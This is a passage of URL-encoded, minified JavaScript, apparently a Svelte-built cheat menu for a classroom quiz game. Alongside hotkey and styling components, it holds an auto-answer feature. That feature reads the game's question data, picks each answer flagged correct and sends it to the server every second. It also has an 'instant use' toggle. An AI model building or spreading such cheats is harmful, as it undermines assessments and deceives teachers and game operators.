r.%24%24.fragment%2Ce)%2Co%3D!0)%7D%2Co(e)%7Bue(a)%2Cue(r.%24%24.fragment%2Ce)%2Co%3D!1%7D%2Cd(e)%7Be%26%26(_(t)%2C_(n))%2Ca%26%26a.d(e)%2Cge(r)%2Ci%3D!1%2Cs()%7D%7D%7Dfunction%20qt(e%2Ct%2Cn)%7Blet%7BhotkeyId%3Ar%7D%3Dt%2Co%3DF()%2Ci%3D!1%2Cs%3Dnew%20Set(Ue%5Br%5D%3F%3F%5B%5D)%3Bz((()%3D%3E%7Bxt.addKeybind(s%2C(()%3D%3E%7Bo(%22trigger%22)%7D))%7D))%3Breturn%20e.%24%24set%3De%3D%3E%7B%22hotkeyId%22in%20e%26%26n(3%2Cr%3De.hotkeyId)%7D%2C%5Bi%2Cs%2Cfunction(e)%7Bif(n(0%2Ci%3D!1)%2Ce.detail)%7Bs.clear()%3Bfor(let%20t%20of%20e.detail)s.add(t)%3B!function(e%2Ct)%7BUe%5Be%5D%3Dt%2CCe(%22hotkeys%22%2CJSON.stringify(Ue))%7D(r%2CArray.from(s))%7D%7D%2Cr%2C()%3D%3En(0%2Ci%3D!i)%5D%7Dclass%20Ut%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cqt%2CLt%2Ci%2C%7BhotkeyId%3A3%7D%2CNt)%7D%7Dfunction%20jt(e)%7Bx(e%2C%22svelte-o69qzc%22%2C%22.wrap.svelte-o69qzc%7Bdisplay%3Aflex%3Bflex-wrap%3Anowrap%3Balign-items%3Acenter%3Bjustify-content%3Aspace-between%3Bmargin%3A5px%2010px%7Dbutton.svelte-o69qzc%7Bbackground-color%3Avar(--buttonBackgroundColor)%3Bborder%3A1px%20solid%20var(--buttonBorderColor)%3Bborder-radius%3A5px%3Btransition%3Atransform%200.1s%3Bflex-grow%3A1%7Dbutton.svelte-o69qzc%3Adisabled%7Bopacity%3A0.5%3Bcursor%3Anot-allowed%7Dbutton.svelte-o69qzc%3Aactive%2Cbutton.active.svelte-o69qzc%7Btransform%3Ascale(0.95)%7D%22)%7Dfunction%20Bt(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Ut(%7Bprops%3A%7BhotkeyId%3Ae%5B2%5D%7D%7D)%2Ct.%24on(%22trigger%22%2Ce%5B6%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2Cn)%7Bconst%20r%3D%7B%7D%3B4%26n%26%26(r.hotkeyId%3De%5B2%5D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Ht(e)%7Blet%20t%2Cn%2Co%2Ci%2Cs%2Ca%2Cc%2Cu%3Bconst%20p%3De%5B8%5D.default%2Cg%3Dl(p%2Ce%2Ce%5B7%5D%2Cnull)%3Blet%20m%3De%5B2%5D%26%26Bt(e)%3Breturn%7Bc()%7Bt%3DO(%22div%22)%2Cn%3DO(%22button%22)%2Cg%26%26g.c()%2Cs%3DT()%2Cm%26%26m.c()%2Cn.disabled%3Do%3D!0%3D%3D%3De%5B0%5D%7C%7Cvoid%200%3D%3D%3De%5B0%5D%2CM(n%2C%22title%22%2Ci%3De%5B0%5D%3Fe%5B1%5D%3Avoid%200)%2CM(n%2C%22class%22%2C%22svelte-o69qzc%22)%2CU(n%2C%22active%22%2Ce%5B4%5D)%2CM(t%2C%22class%22%2C%22wrap%20svelte-o69qzc%22)%7D%2Cm(r%2Co)%7BE(r%2Ct%2Co)%2Cw(t%2Cn)%2Cg%26%26g.m(n%2Cnull)%2Ce%5B10%5D(n)%2Cw(t%2Cs)%2Cm%26%26m.m(t%2Cnull)%2Ca%3D!0%2Cc%7C%7C(u%3D%5BR(n%2C%22click%22%2Ce%5B5%5D)%2CR(n%2C%22keydown%22%2CS(e%5B9%5D))%5D%2Cc%3D!0)%7D%2Cp(e%2C%5Br%5D)%7Bg%26%26g.p%26%26(!a%7C%7C128%26r)%26%26d(g%2Cp%2Ce%2Ce%5B7%5D%2Ca%3Ff(p%2Ce%5B7%5D%2Cr%2Cnull)%3Ah(e%5B7%5D)%2Cnull)%2C(!a%7C%7C1%26r%26%26o!%3D%3D(o%3D!0%3D%3D%3De%5B0%5D%7C%7Cvoid%200%3D%3D%3De%5B0%5D))%26%26(n.disabled%3Do)%2C(!a%7C%7C3%26r%26%26i!%3D%3D(i%3De%5B0%5D%3Fe%5B1%5D%3Avoid%200))%26%26M(n%2C%22title%22%2Ci)%2C(!a%7C%7C16%26r)%26%26U(n%2C%22active%22%2Ce%5B4%5D)%2Ce%5B2%5D%3Fm%3F(m.p(e%2Cr)%2C4%26r%26%26le(m%2C1))%3A(m%3DBt(e)%2Cm.c()%2Cle(m%2C1)%2Cm.m(t%2Cnull))%3Am%26%26(ae()%2Cue(m%2C1%2C1%2C(()%3D%3E%7Bm%3Dnull%7D))%2Cce())%7D%2Ci(e)%7Ba%7C%7C(le(g%2Ce)%2Cle(m)%2Ca%3D!0)%7D%2Co(e)%7Bue(g%2Ce)%2Cue(m)%2Ca%3D!1%7D%2Cd(n)%7Bn%26%26_(t)%2Cg%26%26g.d(n)%2Ce%5B10%5D(null)%2Cm%26%26m.d()%2Cc%3D!1%2Cr(u)%7D%7D%7Dfunction%20zt(e%2Ct%2Cn)%7Blet%20r%2C%7B%24%24slots%3Ao%3D%7B%7D%2C%24%24scope%3Ai%7D%3Dt%2C%7Bdisabled%3As%3Dnull%7D%3Dt%2C%7BdisabledMsg%3Aa%7D%3Dt%2C%7BhotkeyId%3Ac%7D%3Dt%2Cl%3DF()%2Cu%3D!1%3Breturn%20e.%24%24set%3De%3D%3E%7B%22disabled%22in%20e%26%26n(0%2Cs%3De.disabled)%2C%22disabledMsg%22in%20e%26%26n(1%2Ca%3De.disabledMsg)%2C%22hotkeyId%22in%20e%26%26n(2%2Cc%3De.hotkeyId)%2C%22%24%24scope%22in%20e%26%26n(7%2Ci%3De.%24%24scope)%7D%2C%5Bs%2Ca%2Cc%2Cr%2Cu%2Cfunction()%7Bl(%22click%22)%7D%2Cfunction()%7Bl(%22click%22)%2Cn(4%2Cu%3D!0)%2CsetTimeout((()%3D%3En(4%2Cu%3D!1))%2C100)%7D%2Ci%2Co%2Cfunction(t)%7BW.call(this%2Ce%2Ct)%7D%2Cfunction(e)%7BG%5Be%3F%22unshift%22%3A%22push%22%5D((()%3D%3E%7Br%3De%2Cn(3%2Cr)%7D))%7D%5D%7Dclass%20Vt%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Czt%2CHt%2Ci%2C%7Bdisabled%3A0%2CdisabledMsg%3A1%2ChotkeyId%3A2%7D%2Cjt)%7D%7Dfunction%20Ft(e)%7Bx(e%2C%22svelte-151a7uw%22%2C%22.groupContent.svelte-151a7uw%7Btransform%3AtranslateX(100%25)%3Bopacity%3A0%3Bpointer-events%3Anone%3Bdisplay%3Anone%7D%40keyframes%20slide-in-left%7B0%25%7Btransform%3AtranslateX(-100%25)%3Bopacity%3A0%3Bpointer-events%3Anone%7D100%25%7Btransform%3AtranslateX(0%25)%3Bopacity%3A1%3Bpointer-events%3Aall%7D%7D%40keyframes%20slide-out-left%7B0%25%7Btransform%3AtranslateX(0%25)%3Bopacity%3A1%3Bpointer-events%3Aall%7D100%25%7Btransform%3AtranslateX(-100%25)%3Bopacity%3A0%3Bpointer-events%3Anone%7D%7D%40keyframes%20slide-in-right%7B0%25%7Btransform%3AtranslateX(100%25)%3Bopacity%3A0%3Bpointer-events%3Anone%7D100%25%7Btransform%3AtranslateX(0%25)%3Bopacity%3A1%3Bpointer-events%3Aall%7D%7D%40keyframes%20slide-out-right%7B0%25%7Btransform%3AtranslateX(0%25)%3Bopacity%3A1%3Bpointer-events%3Aall%7D100%25%7Btransform%3AtranslateX(100%25)%3Bopacity%3A0%3Bpointer-events%3Anone%7D%7D%22)%7Dfunction%20Wt(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(e%5B0%5D)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cp(e%2Cn)%7B1%26n%26%26D(t%2Ce%5B0%5D)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Jt(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(%22Close%22)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Gt(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%3Bt%3Dnew%20Vt(%7Bprops%3A%7B%24%24slots%3A%7Bdefault%3A%5BWt%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ct.%24on(%22click%22%2Ce%5B2%5D)%2Co%3Dnew%20Vt(%7Bprops%3A%7B%24%24slots%3A%7Bdefault%3A%5BJt%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Co.%24on(%22click%22%2Ce%5B3%5D)%3Bconst%20a%3De%5B4%5D.default%2Cc%3Dl(a%2Ce%2Ce%5B6%5D%2Cnull)%3Breturn%7Bc()%7Bhe(t.%24%24.fragment)%2Cn%3DT()%2Cr%3DO(%22div%22)%2Che(o.%24%24.fragment)%2Ci%3DT()%2Cc%26%26c.c()%2CM(r%2C%22class%22%2C%22groupContent%20svelte-151a7uw%22)%7D%2Cm(a%2Cl)%7Bpe(t%2Ca%2Cl)%2CE(a%2Cn%2Cl)%2CE(a%2Cr%2Cl)%2Cpe(o%2Cr%2Cnull)%2Cw(r%2Ci)%2Cc%26%26c.m(r%2Cnull)%2Ce%5B5%5D(r)%2Cs%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B65%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%3Bconst%20i%3D%7B%7D%3B64%26n%26%26(i.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Co.%24set(i)%2Cc%26%26c.p%26%26(!s%7C%7C64%26n)%26%26d(c%2Ca%2Ce%2Ce%5B6%5D%2Cs%3Ff(a%2Ce%5B6%5D%2Cn%2Cnull)%3Ah(e%5B6%5D)%2Cnull)%7D%2Ci(e)%7Bs%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cle(c%2Ce)%2Cs%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cue(c%2Ce)%2Cs%3D!1%7D%2Cd(i)%7Bi%26%26(_(n)%2C_(r))%2Cge(t%2Ci)%2Cge(o)%2Cc%26%26c.d(i)%2Ce%5B5%5D(null)%7D%7D%7Dfunction%20Kt(e%2Ct%2Cn)%7Be.style.animation%3D%60slide-%24%7Bt%7D-%24%7Bn%7D%200.2s%20ease-in-out%20forwards%60%2C%22out%22%3D%3Dt%3F(e.classList.remove(%22open%22)%2CsetTimeout((()%3D%3E%7Be.style.display%3D%22none%22%7D)%2C200))%3A(e.style.display%3D%22flex%22%2Ce.classList.add(%22open%22))%7Dfunction%20Qt(e%2Ct%2Cn)%7Blet%20r%2Co%2Ci%2C%7B%24%24slots%3As%3D%7B%7D%2C%24%24scope%3Aa%7D%3Dt%2C%7Bname%3Ac%7D%3Dt%3Breturn%20z((()%3D%3E%7Bi%3Dje(r%2C%22.menu%20.children%22)%2Ci.appendChild(r)%7D))%2Ce.%24%24set%3De%3D%3E%7B%22name%22in%20e%26%26n(0%2Cc%3De.name)%2C%22%24%24scope%22in%20e%26%26n(6%2Ca%3De.%24%24scope)%7D%2C%5Bc%2Cr%2Cfunction()%7Bo%3Di.querySelector(%22.groupContent.open%22)%2Co%26%26Kt(o%2C%22out%22%2C%22left%22)%2CKt(r%2C%22in%22%2C%22right%22)%7D%2Cfunction()%7BKt(r%2C%22out%22%2C%22right%22)%2Co%26%26Kt(o%2C%22in%22%2C%22left%22)%7D%2Cs%2Cfunction(e)%7BG%5Be%3F%22unshift%22%3A%22push%22%5D((()%3D%3E%7Br%3De%2Cn(1%2Cr)%7D))%7D%2Ca%5D%7Dclass%20Xt%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CQt%2CGt%2Ci%2C%7Bname%3A0%7D%2CFt)%7D%7Dfunction%20Yt(e)%7Bx(e%2C%22svelte-qar3ci%22%2C%22.colorPicker.svelte-qar3ci%7Bwidth%3A100%25%3Bdisplay%3Aflex%3Bflex-direction%3Acolumn%3Balign-items%3Acenter%7D.inputs.svelte-qar3ci%7Bdisplay%3Aflex%3Balign-items%3Acenter%3Bjustify-content%3Aspace-around%3Bwidth%3A100%25%3Bmax-width%3A100%25%7D.opacityBlock.svelte-qar3ci%7Bdisplay%3Aflex%3Bflex-direction%3Acolumn%3Balign-items%3Acenter%7D.alphaInput.svelte-qar3ci%7Bflex-shrink%3A1%3Bmin-width%3A0%3Bwidth%3A100%25%7D.colorInput.svelte-qar3ci%7Bflex-shrink%3A0%7D.preview.svelte-qar3ci%7Bwidth%3A50px%3Bheight%3A50px%3Bborder-radius%3A10px%3Bflex-shrink%3A0%3Bborder%3A2px%20solid%20black%7D%22)%7Dfunction%20Zt(e)%7Blet%20t%2Cn%2Co%2Ci%2Cs%2Ca%3Breturn%7Bc()%7Bt%3DO(%22div%22)%2Cn%3DO(%22div%22)%2Cn.textContent%3D%22Opacity%22%2Co%3DT()%2Ci%3DO(%22input%22)%2CM(i%2C%22type%22%2C%22range%22)%2CM(i%2C%22min%22%2Ce%5B2%5D)%2CM(i%2C%22max%22%2C%221%22)%2CM(i%2C%22step%22%2C%220.01%22)%2CM(i%2C%22class%22%2C%22alphaInput%20svelte-qar3ci%22)%2CM(t%2C%22class%22%2C%22opacityBlock%20svelte-qar3ci%22)%7D%2Cm(r%2Cc)%7BE(r%2Ct%2Cc)%2Cw(t%2Cn)%2Cw(t%2Co)%2Cw(t%2Ci)%2CL(i%2Ce%5B4%5D)%2Cs%7C%7C(a%3D%5BR(i%2C%22change%22%2Ce%5B11%5D)%2CR(i%2C%22input%22%2Ce%5B11%5D)%2CR(i%2C%22input%22%2Ce%5B6%5D)%2CR(i%2C%22mousedown%22%2CP(e%5B10%5D))%5D%2Cs%3D!0)%7D%2Cp(e%2Ct)%7B4%26t%26%26M(i%2C%22min%22%2Ce%5B2%5D)%2C16%26t%26%26L(i%2Ce%5B4%5D)%7D%2Cd(e)%7Be%26%26_(t)%2Cs%3D!1%2Cr(a)%7D%7D%7Dfunction%20en(t)%7Blet%20n%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%2Ch%2Cp%3Dt%5B1%5D%26%26Zt(t)%3Breturn%7Bc()%7Bn%3DO(%22div%22)%2Co%3DO(%22div%22)%2Ci%3Dk(t%5B0%5D)%2Cs%3DT()%2Ca%3DO(%22div%22)%2Cp%26%26p.c()%2Cc%3DT()%2Cl%3DO(%22input%22)%2Cu%3DT()%2Cf%3DO(%22div%22)%2CM(l%2C%22type%22%2C%22color%22)%2CM(l%2C%22class%22%2C%22colorInput%20svelte-qar3ci%22)%2CM(f%2C%22class%22%2C%22preview%20svelte-qar3ci%22)%2Cq(f%2C%22background-color%22%2Ct%5B5%5D)%2CM(a%2C%22class%22%2C%22inputs%20svelte-qar3ci%22)%2CM(n%2C%22class%22%2C%22colorPicker%20svelte-qar3ci%22)%7D%2Cm(e%2Cr)%7BE(e%2Cn%2Cr)%2Cw(n%2Co)%2Cw(o%2Ci)%2Cw(n%2Cs)%2Cw(n%2Ca)%2Cp%26%26p.m(a%2Cnull)%2Cw(a%2Cc)%2Cw(a%2Cl)%2CL(l%2Ct%5B3%5D)%2Cw(a%2Cu)%2Cw(a%2Cf)%2Cd%7C%7C(h%3D%5BR(l%2C%22input%22%2Ct%5B12%5D)%2CR(l%2C%22input%22%2Ct%5B6%5D)%2CR(l%2C%22mousedown%22%2CP(t%5B9%5D))%5D%2Cd%3D!0)%7D%2Cp(e%2C%5Bt%5D)%7B1%26t%26%26D(i%2Ce%5B0%5D)%2Ce%5B1%5D%3Fp%3Fp.p(e%2Ct)%3A(p%3DZt(e)%2Cp.c()%2Cp.m(a%2Cc))%3Ap%26%26(p.d(1)%2Cp%3Dnull)%2C8%26t%26%26L(l%2Ce%5B3%5D)%2C32%26t%26%26q(f%2C%22background-color%22%2Ce%5B5%5D)%7D%2Ci%3Ae%2Co%3Ae%2Cd(e)%7Be%26%26_(n)%2Cp%26%26p.d()%2Cd%3D!1%2Cr(h)%7D%7D%7Dfunction%20tn(e%2Ct%2Cn)%7Blet%7Btext%3Ar%7D%3Dt%2C%7Bcolor%3Ao%7D%3Dt%2C%7BbindValue%3Ai%7D%3Dt%2C%7BallowOpacity%3As%3D!0%7D%3Dt%2C%7BminOpactiy%3Aa%3D0%7D%3Dt%2Cc%3Do%3F%3FNe%5Bi%5D%3F%3F%22rgba(255%2C%20255%2C%20255%2C%201)%22%3Blet%20l%3Dfunction(e)%7Blet%5Bt%2Cn%2Cr%2Co%5D%3De.replace(%22rgba(%22%2C%22%22).replace(%22)%22%2C%22%22).split(%22%2C%22).map((e%3D%3EparseFloat(e.trim())))%3Breturn%7Br%3At%2Cg%3An%2Cb%3Ar%2Ca%3Ao%7D%7D(c)%2Cu%3D(f%3Dl.r%2Cd%3Dl.g%2Ch%3Dl.b%2C%22%23%22%2BBe(f)%2BBe(d)%2BBe(h))%3Bvar%20f%2Cd%2Ch%3Blet%20p%3Dl.a%2Cg%3Dc%3Bconst%20m%3DEe((function(e)%7B!function(e%2Ct)%7BNe%5Be%5D%3Dt%2CCe(%22cssVars%22%2CJSON.stringify(Ne))%7D(i%2Ce)%7D)%2C100)%3Breturn%20e.%24%24set%3De%3D%3E%7B%22text%22in%20e%26%26n(0%2Cr%3De.text)%2C%22color%22in%20e%26%26n(7%2Co%3De.color)%2C%22bindValue%22in%20e%26%26n(8%2Ci%3De.bindValue)%2C%22allowOpacity%22in%20e%26%26n(1%2Cs%3De.allowOpacity)%2C%22minOpactiy%22in%20e%26%26n(2%2Ca%3De.minOpactiy)%7D%2C%5Br%2Cs%2Ca%2Cu%2Cp%2Cg%2Cfunction()%7Blet%20e%3Dfunction(e)%7Blet%5Bt%2Cn%2Cr%5D%3De.replace(%22%23%22%2C%22%22).match(%2F.%7B1%2C2%7D%2Fg).map((e%3D%3EparseInt(e%2C16)))%3Breturn%7Br%3At%2Cg%3An%2Cb%3Ar%7D%7D(u)%2Ct%3D%60rgba(%24%7Be.r%7D%2C%20%24%7Be.g%7D%2C%20%24%7Be.b%7D%2C%20%24%7Bp%7D)%60%3Bi%26%26(m(t)%2Cdocument.documentElement.style.setProperty(%60--%24%7Bi%7D%60%2Ct))%2Cn(5%2Cg%3Dt)%2Co%26%26n(7%2Co%3Dt)%7D%2Co%2Ci%2Cfunction(t)%7BW.call(this%2Ce%2Ct)%7D%2Cfunction(t)%7BW.call(this%2Ce%2Ct)%7D%2Cfunction()%7Bp%3DN(this.value)%2Cn(4%2Cp)%7D%2Cfunction()%7Bu%3Dthis.value%2Cn(3%2Cu)%7D%5D%7Dclass%20nn%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Ctn%2Cen%2Ci%2C%7Btext%3A0%2Ccolor%3A7%2CbindValue%3A8%2CallowOpacity%3A1%2CminOpactiy%3A2%7D%2CYt)%7D%7Dfunction%20rn(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(%22Reset%20All%20Styles%22)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20on(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Vt(%7Bprops%3A%7B%24%24slots%3A%7Bdefault%3A%5Brn%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ct.%24on(%22click%22%2Ce%5B0%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B2%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20sn(e)%7Breturn%5Bfunction()%7Bif(confirm(%22Are%20you%20sure%20you%20want%20to%20reset%20all%20styles%3F%22))%7Bfor(let%20e%20in%20Se)document.documentElement.style.setProperty(%60--%24%7Be%7D%60%2CSe%5Be%5D)%3Bvar%20e%3Be%3DSe%2CNe%3DObject.assign(%7B%7D%2CNe%2Ce)%2CCe(%22cssVars%22%2CJSON.stringify(Ne))%7D%7D%5D%7Dclass%20an%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Csn%2Con%2Ci%2C%7B%7D)%7D%7Dfunction%20cn(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(e%5B2%5D)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cp(e%2Cn)%7B4%26n%26%26D(t%2Ce%5B2%5D)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20ln(e)%7Blet%20t%3Breturn%7Bc()%7Bt%3Dk(e%5B1%5D)%7D%2Cm(e%2Cn)%7BE(e%2Ct%2Cn)%7D%2Cp(e%2Cn)%7B2%26n%26%26D(t%2Ce%5B1%5D)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20un(e)%7Blet%20t%3Bfunction%20n(e%2Ct)%7Breturn%20e%5B0%5D%3Fln%3Acn%7Dlet%20r%3Dn(e)%2Co%3Dr(e)%3Breturn%7Bc()%7Bo.c()%2Ct%3DC()%7D%2Cm(e%2Cn)%7Bo.m(e%2Cn)%2CE(e%2Ct%2Cn)%7D%2Cp(e%2Ci)%7Br%3D%3D%3D(r%3Dn(e))%26%26o%3Fo.p(e%2Ci)%3A(o.d(1)%2Co%3Dr(e)%2Co%26%26(o.c()%2Co.m(t.parentNode%2Ct)))%7D%2Cd(e)%7Be%26%26_(t)%2Co.d(e)%7D%7D%7Dfunction%20fn(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Vt(%7Bprops%3A%7Bdisabled%3Ae%5B3%5D%2CdisabledMsg%3Ae%5B4%5D%2ChotkeyId%3Ae%5B5%5D%2C%24%24slots%3A%7Bdefault%3A%5Bun%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ct.%24on(%22click%22%2Ce%5B6%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B8%26n%26%26(r.disabled%3De%5B3%5D)%2C16%26n%26%26(r.disabledMsg%3De%5B4%5D)%2C32%26n%26%26(r.hotkeyId%3De%5B5%5D)%2C263%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20dn(e%2Ct%2Cn)%7Blet%7BonText%3Ar%7D%3Dt%2C%7BoffText%3Ao%7D%3Dt%2C%7Benabled%3Ai%3D!1%7D%3Dt%2C%7Bdisabled%3As%3Dnull%7D%3Dt%2C%7BdisabledMsg%3Aa%7D%3Dt%2C%7BhotkeyId%3Ac%7D%3Dt%2Cl%3DF()%3Breturn%20e.%24%24set%3De%3D%3E%7B%22onText%22in%20e%26%26n(1%2Cr%3De.onText)%2C%22offText%22in%20e%26%26n(2%2Co%3De.offText)%2C%22enabled%22in%20e%26%26n(0%2Ci%3De.enabled)%2C%22disabled%22in%20e%26%26n(3%2Cs%3De.disabled)%2C%22disabledMsg%22in%20e%26%26n(4%2Ca%3De.disabledMsg)%2C%22hotkeyId%22in%20e%26%26n(5%2Cc%3De.hotkeyId)%7D%2C%5Bi%2Cr%2Co%2Cs%2Ca%2Cc%2Cfunction()%7Bn(0%2Ci%3D!i)%2Cl(%22click%22%2Ci)%7D%5D%7Dclass%20hn%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cdn%2Cfn%2Ci%2C%7BonText%3A1%2CoffText%3A2%2Cenabled%3A0%2Cdisabled%3A3%2CdisabledMsg%3A4%2ChotkeyId%3A5%7D)%7D%7Dfunction%20pn(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20hn(%7Bprops%3A%7Bdisabled%3A!e%5B0%5D%2CdisabledMsg%3A%22Questions%20haven't%20loaded%20yet%22%2ConText%3A%22Stop%20auto%20answering%22%2CoffText%3A%22Start%20auto%20answering%22%2Cenabled%3A!1%2ChotkeyId%3A%22autoAnswer%22%7D%7D)%2Ct.%24on(%22click%22%2Ce%5B2%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.disabled%3D!e%5B0%5D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20gn(e%2Ct%2Cn)%7Blet%20r%2Co%2Ci%3Bc(e%2Cut%2C(e%3D%3En(10%2Co%3De)))%3Blet%7BtransportType%3As%7D%3Dat%3Bc(e%2Cs%2C(e%3D%3En(8%2Ci%3De)))%3Blet%20a%2Cl%3D%5B%5D%2Cu%3Dnull%2Cf%3Dnull%2Cd%3D%5B%5D%2Ch%3D-1%3Bfunction%20p()%7Bif(%22colyseus%22%3D%3D%3Di)%7Bif(null%3D%3Df)return%3Blet%20e%3Dl.find((e%3D%3Ee._id%3D%3Df))%3Bif(!e)return%3Blet%20t%3D%7Bkey%3A%22answered%22%2CdeviceId%3Au%2Cdata%3A%7B%7D%7D%3Bif(%22text%22%3D%3De.type)t.data.answer%3De.answers%5B0%5D.text%3Belse%7Blet%20n%3De.answers.find((e%3D%3Ee.correct))._id%3Bt.data.answer%3Dn%7Dat.sendMessage(%22MESSAGE_FOR_DEVICE%22%2Ct)%7Delse%7Blet%20e%2Ct%3Dd%5Bh%5D%2Cn%3Dl.find((e%3D%3Ee._id%3D%3Dt))%3Bif(!n)return%3Be%3D%22mc%22%3D%3Dn.type%3Fn.answers.find((e%3D%3Ee.correct))._id%3An.answers%5B0%5D.text%2Cat.sendMessage(%22QUESTION_ANSWERED%22%2C%7Banswer%3Ae%2CquestionId%3At%7D)%7D%7Dreturn%20at.addEventListener(%22deviceChanges%22%2C(e%3D%3E%7Bfor(let%7Bid%3At%2Cdata%3Ar%7Dof%20e.detail)for(let%20e%20in%20r)%22GLOBAL_questions%22%3D%3De%26%26(n(3%2Cl%3DJSON.parse(r%5Be%5D))%2Cconsole.log(%22Got%20questions%22%2Cl)%2Cn(4%2Cu%3Dt))%2Ce%3D%3D%60PLAYER_%24%7Bo%7D_currentQuestionId%60%26%26n(5%2Cf%3Dr%5Be%5D)%7D))%2Cat.addEventListener(%22blueboatMessage%22%2C(e%3D%3E%7Bif(%22STATE_UPDATE%22%3D%3De.detail%3F.key)switch(e.detail.data.type)%7Bcase%22GAME_QUESTIONS%22%3An(3%2Cl%3De.detail.data.value)%3Bbreak%3Bcase%22PLAYER_QUESTION_LIST%22%3An(6%2Cd%3De.detail.data.value.questionList)%2Cn(7%2Ch%3De.detail.data.value.questionIndex)%3Bbreak%3Bcase%22PLAYER_QUESTION_LIST_INDEX%22%3An(7%2Ch%3De.detail.data.value)%7D%7D))%2Ce.%24%24.update%3D()%3D%3E%7B504%26e.%24%24.dirty%26%26n(0%2Cr%3D%22colyseus%22%3D%3Di%3Fl.length%3E0%26%26null!%3Df%26%26null!%3Du%3Ad.length%3E0%26%26l.length%3E0%26%26-1!%3Dh)%7D%2C%5Br%2Cs%2Cfunction(e)%7Be.detail%3Fa%3DsetInterval(p%2C1e3)%3AclearInterval(a)%7D%2Cl%2Cu%2Cf%2Cd%2Ch%2Ci%5D%7Dclass%20mn%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cgn%2Cpn%2Ci%2C%7B%7D)%7D%7Dfunction%20%24n(e)%7Blet%20t%2Cn%2Cr%3Bfunction%20o(t)%7Be%5B1%5D(t)%7Dlet%20i%3D%7BonText%3A%22Stop%20instant%20use%22%2CoffText%3A%22Enable%20instant%20use%22%2ChotkeyId%3A%22instantUse%22%7D%3Breturn%20void%200!%3D%3De%5B0%5D%26%26(i.enabled%3De%5B0%5D)%2Ct%3Dnew%20hn(%7Bprops%3Ai%7D)%2CG.push((()%3D%3Ede(t%2C%22enabled%22%2Co)))%2C%7Bc()%7Bhe(t.%24%24.fragmen